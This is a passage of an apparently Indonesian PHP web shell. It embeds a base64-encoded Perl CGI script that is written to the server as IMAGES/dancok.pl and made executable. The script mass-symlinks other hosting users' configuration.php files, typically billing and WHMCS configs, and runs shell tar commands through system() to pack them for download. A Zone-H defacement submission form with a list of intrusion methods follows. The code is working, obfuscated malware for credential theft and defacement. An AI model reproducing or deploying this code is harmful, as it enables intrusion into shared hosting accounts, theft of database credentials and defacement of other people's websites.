bnRlL21hbmFnZXIvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLiczMzgudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50ZS9teWFjY291bnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLiczMzkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50ZS9hY2NvdW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nMzQwLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21hbmFnZXIvcG9ydGFsL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nMzQxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21hbmFnZXIvb3JkZXIvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLiczNDIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFuYWdlci9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nMzQzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21hbmFnZXIvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzM0NC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9tYW5hZ2VyL2NsaWVudGFyZWEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLiczNDUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFuYWdlci93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzM0Ni50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9tYW5hZ2VyL3NlY3VyZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzM0Ny50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9tYW5hZ2VyL3Byb2R1Y3QvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLiczNDgudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFuYWdlci9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLiczNDkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFuYWdlci9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nMzUwLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21hbmFnZXIvbWVtYmVyL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nMzUxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21hbmFnZXIvbWVtYmVycy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzM1Mi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9tYW5hZ2VyL2NsaWVudGUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLiczNTMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFuYWdlci9jbGllbnRlcy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzM1NC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9tYW5hZ2VyL3RyaWFsL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nMzU1LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21hbmFnZXIvaG9zdGluZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzM1Ni50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9tYW5hZ2VyL21hbmFnZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzM1Ny50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL21hbmFnZXIvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLiczNTgudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFuYWdlci9teWFjY291bnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLiczNTkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFuYWdlci9hY2NvdW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nMzYwLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9tYW5hZ2UvcG9ydGFsL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nMzYxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21hbmFnZS9vcmRlci9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzM2Mi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9tYW5hZ2UvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzM2My50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9tYW5hZ2Uvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzM2NC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9tYW5hZ2UvY2xpZW50YXJlYS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzM2NS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9tYW5hZ2Uvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLiczNjYudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFuYWdlL3NlY3VyZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzM2Ny50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9tYW5hZ2UvcHJvZHVjdC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzM2OC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9tYW5hZ2UvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nMzY5LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21hbmFnZS9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nMzcwLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21hbmFnZS9tZW1iZXIvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLiczNzEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFuYWdlL21lbWJlcnMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLiczNzIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFuYWdlL2NsaWVudGUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLiczNzMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFuYWdlL2NsaWVudGVzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nMzc0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21hbmFnZS90cmlhbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzM3NS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9tYW5hZ2UvaG9zdGluZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzM3Ni50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL21hbmFnZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzM3Ny50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9tYW5hZ2UvbWFuYWdlci9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzM3OC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9tYW5hZ2UvbXlhY2NvdW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nMzc5LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21hbmFnZS9hY2NvdW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nMzgwLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL215YWNjb3VudC9wb3J0YWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLiczODEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbXlhY2NvdW50L29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nMzgyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL215YWNjb3VudC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nMzgzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL215YWNjb3VudC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nMzg0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL215YWNjb3VudC9jbGllbnRhcmVhL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nMzg1LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL215YWNjb3VudC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzM4Ni50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9teWFjY291bnQvc2VjdXJlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nMzg3LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL215YWNjb3VudC9wcm9kdWN0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nMzg4LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL215YWNjb3VudC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLiczODkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbXlhY2NvdW50L2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLiczOTAudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbXlhY2NvdW50L21lbWJlci9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzM5MS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9teWFjY291bnQvbWVtYmVycy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzM5Mi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9teWFjY291bnQvY2xpZW50ZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzM5My50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9teWFjY291bnQvY2xpZW50ZXMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLiczOTQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbXlhY2NvdW50L3RyaWFsL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nMzk1LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL215YWNjb3VudC9ob3N0aW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nMzk2LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL215YWNjb3VudC9tYW5hZ2UvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLiczOTcudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbXlhY2NvdW50L21hbmFnZXIvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLiczOTgudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2l0ZS9teWFjY291bnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLiczOTkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbXlhY2NvdW50L2FjY291bnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLic0MDAudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYWNjb3VudC9wb3J0YWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLic0MDEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYWNjb3VudC9vcmRlci9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzQwMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hY2NvdW50L2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLic0MDMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYWNjb3VudC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nNDA0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FjY291bnQvY2xpZW50YXJlYS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzQwNS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hY2NvdW50L3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nNDA2LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FjY291bnQvc2VjdXJlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nNDA3LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FjY291bnQvcHJvZHVjdC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzQwOC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hY2NvdW50L2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzQwOS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hY2NvdW50L2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLic0MTAudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYWNjb3VudC9tZW1iZXIvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLic0MTEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYWNjb3VudC9tZW1iZXJzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nNDEyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FjY291bnQvY2xpZW50ZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzQxMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hY2NvdW50L2NsaWVudGVzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nNDE0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FjY291bnQvdHJpYWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLic0MTUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYWNjb3VudC9ob3N0aW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nNDE2LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FjY291bnQvbWFuYWdlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nNDE3LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FjY291bnQvbWFuYWdlci9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzQxOC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hY2NvdW50L215YWNjb3VudC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzQxOS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL2FjY291bnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLic0MjAudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9wb3J0YWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLic0MjEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9vcmRlci9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzQyMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLic0MjMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nNDI0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvY2xpZW50YXJlYS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzQyNS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nNDI2LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvc2VjdXJlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nNDI3LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvcHJvZHVjdC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzQyOC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzQyOS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLic0MzAudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9tZW1iZXIvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLic0MzEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9tZW1iZXJzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nNDMyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvY2xpZW50ZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzQzMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NsaWVudGVzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nNDM0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvdHJpYWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLic0MzUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9ob3N0aW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nNDM2LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvbWFuYWdlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nNDM3LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvbWFuYWdlci9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzQzOC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL215YWNjb3VudC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzQzOS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2FjY291bnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLic0NDAudHh0Jyk7IA0KfQ0KDQppZiAoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAnUE9TVCcpIHsNCiAgcmVhZChTVERJTiwgJGJ1ZmZlciwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7DQp9IGVsc2Ugew0KICAkYnVmZmVyID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQp9DQpAcGFpcnMgPSBzcGxpdCgvJi8sICRidWZmZXIpOw0KZm9yZWFjaCAkcGFpciAoQHBhaXJzKSB7DQogICgkbmFtZSwgJHZhbHVlKSA9IHNwbGl0KC89LywgJHBhaXIpOw0KICAkbmFtZSA9fiB0ci8rLyAvOw0KICAkbmFtZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOw0KICAkdmFsdWUgPX4gdHIvKy8gLzsNCiAgJHZhbHVlID1+IHMvJShbYS1mQS1GMC05XVthLWZBLUYwLTldKS9wYWNrKCJDIiwgaGV4KCQxKSkvZWc7DQogICRGT1JNeyRuYW1lfSA9ICR2YWx1ZTsNCn0NCmlmICgkRk9STXtwYXNzfSBlcSAiIil7DQpwcmludCAnDQo8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIiBiZ2NvbG9yPSIjMDAwMDAwIj4NCjxoMT48aT48dT4tLT1bWyBETSBURTRNIF1dPS0tPC91PjwvaT48L2gxPg0KPGJyIC8+DQo8Zm9ybSBtZXRob2Q9InBvc3QiPg0KPHRleHRhcmVhIG5hbWU9InBhc3MiIHN0eWxlPSJib3JkZXI6MnB4IGRvdHRlZCAjMDAzMzAwOyB3aWR0aDogNTQzcHg7IGhlaWdodDogNDIwcHg7IGJhY2tncm91bmQtY29sb3I6IzBDMEMwQzsgZm9udC1mYW1pbHk6VGFob21hOyBmb250LXNpemU6OHB0OyBjb2xvcjojRkZGRkZGIiAgPjwvdGV4dGFyZWE+PGJyIC8+DQombmJzcDs8cD4NCjxpbnB1dCBuYW1lPSJ0YXIiIHR5cGU9InRleHQiIHN0eWxlPSJib3JkZXI6MXB4IGRvdHRlZCAjMDAzMzAwOyB3aWR0aDogMjEycHg7IGJhY2tncm91bmQtY29sb3I6IzBDMEMwQzsgZm9udC1mYW1pbHk6VGFob21hOyBmb250LXNpemU6OHB0OyBjb2xvcjojRkZGRkZGOyAiICAvPjxiciAvPg0KJm5ic3A7PC9wPg0KPHA+DQo8aW5wdXQgbmFtZT0iU3VibWl0MSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iIEhBSkFSIENPWSAiIHN0eWxlPSJib3JkZXI6MXB4IGRvdHRlZCAjMDAzMzAwOyB3aWR0aDogOTk7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjEwcHQ7IGNvbG9yOiNGRkZGRkY7IHRleHQtdHJhbnNmb3JtOnVwcGVyY2FzZTsgaGVpZ2h0OjIzOyBiYWNrZ3JvdW5kLWNvbG9yOiMwQzBDMEMiIC8+PC9wPg0KPC9mb3JtPjxiciAvPjxiciAvPic7DQp9ZWxzZXsNCkBsaW5lcyA9PCRGT1JNe3Bhc3N9PjsNCiR5ID0gQGxpbmVzOw0Kb3BlbiAoTVlGSUxFLCAiPnRhci50bXAiKTsNCnByaW50IE1ZRklMRSAidGFyIC1jemYgIi4kRk9STXt0YXJ9LiIudGFyICI7DQpmb3IgKCRrYT0wOyRrYTwkeTska2ErKyl7DQp3aGlsZShAbGluZXNbJGthXSAgPX4gbS8oLio/KTp4Oi9nKXsNCiZsaWwoJDEpOw0KcHJpbnQgTVlGSUxFICQxLiIudHh0ICI7DQpmb3IoJGtkPTE7JGtkPDE4OyRrZCsrKXsNCnByaW50IE1ZRklMRSAkMS4ka2QuIi50eHQgIjsNCn0NCn0NCiB9DQpwcmludCc8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIiBiZ2NvbG9yPSIjMDAwMDAwIj4NCjxwPlNFTEVTQUkgQk9TIHx8IENFSyBGT0xERVIgSU1BR0VTPC9wPg0KPHA+Jm5ic3A7PC9wPic7DQppZigkRk9STXt0YXJ9IG5lICIiKXsNCm9wZW4oSU5GTywgInRhci50bXAiKTsNCkBsaW5lcyA9PElORk8+IDsNCmNsb3NlKElORk8pOw0Kc3lzdGVtKEBsaW5lcyk7DQpwcmludCc8cD48YSBocmVmPSInLiRGT1JNe3Rhcn0uJy50YXIiPjxmb250IGNvbG9yPSIjMDBGRjAwIj4NCjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IG5vbmUiPkNsaWNrIEhlcmUgVG8gRG93bmxvYWQgVGFyIEZpbGU8L3NwYW4+PC9mb250PjwvYT48L3A+JzsNCn0NCn0NCiBwcmludCINCjwvYm9keT4NCjwvaHRtbD4iOw==";
- $write = fwrite($f2 ,base64_decode($sml_perl));
- if($write)
- {@chmod('IMAGES/dancok.pl',0755);}
- echo "</br></br><center><b>GO TO : <a href='IMAGES/dancok.pl' target='_blank'>[+] Symlink Perl [+]</a></center></br>";
- }
- }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'zone'))
- {
- ?>
- <form action="?y=<?php echo $pwd; ?>&x=zone" method="post">
- <br><br><center>
- <!-- Zone-H -->
- <form action="" method='POST'><table><table class='tabnet'><tr>
- <td style='background-color:#0000;padding-left:10px;'><tr><tr><th colspan="2"><h2>Zone-H Defacer</h2></th></tr></td></tr><tr><td height='45' colspan='2'><form method="post">
- <input type="text" class="inputz" name="defacer" value="Nama" />
- <select name="hackmode" class="inputz" >
- <option >[+] PILIH SALAH SATU [+]</option>
- <option value="1">known vulnerability (i.e. unpatched system)</option>
- <option value="2" >undisclosed (new) vulnerability</option>
- <option value="3" >configuration / admin. mistake</option>
- <option value="4" >brute force attack</option>
- <option value="5" >social engineering</option>
- <option value="6" >Web Server intrusion</option>
- <option value="7" >Web Server external module intrusion</option>
- <option value="8" >Mail Server intrusion</option>
- <option value="9" >FTP Server intrusion</option>
- <option value="10" >SSH Server intrusion</option>
- <option value="11" >Telnet Server intrusion</option>
- <option value="12" >RPC Server intrusion</option>
- <option value="13" >Shares misconfiguration</option>
- <option value="14" >Other Server intrusion</option>
- <option value="15" >SQL Injection</option>
- <option value="16" >URL Poisoning</option>
- <option value="17" >File Inclusion</option>
- <option value="18" >Other Web Application bug</option>
- <option value="19" >Remote administrative panel access bruteforcing</option>
- <option value="20" >Remote administrative panel access password guessing</option>
- <option value="21" >Remote administrative panel access social engineering</option>
- <option value="22" >Attack against administrator(password stealing/sniffing)</option>
- <option value="23" >Access credentials through Man In the Middle attack</option>
- <option value="24" >Remote service password guessing</option>
- <option value="25" >Remote service password bruteforce</option>
- <option value="26" >Rerouting after attacking the Firewall</option>
- <option value="27" >Rerouting after attacking the Router</option>
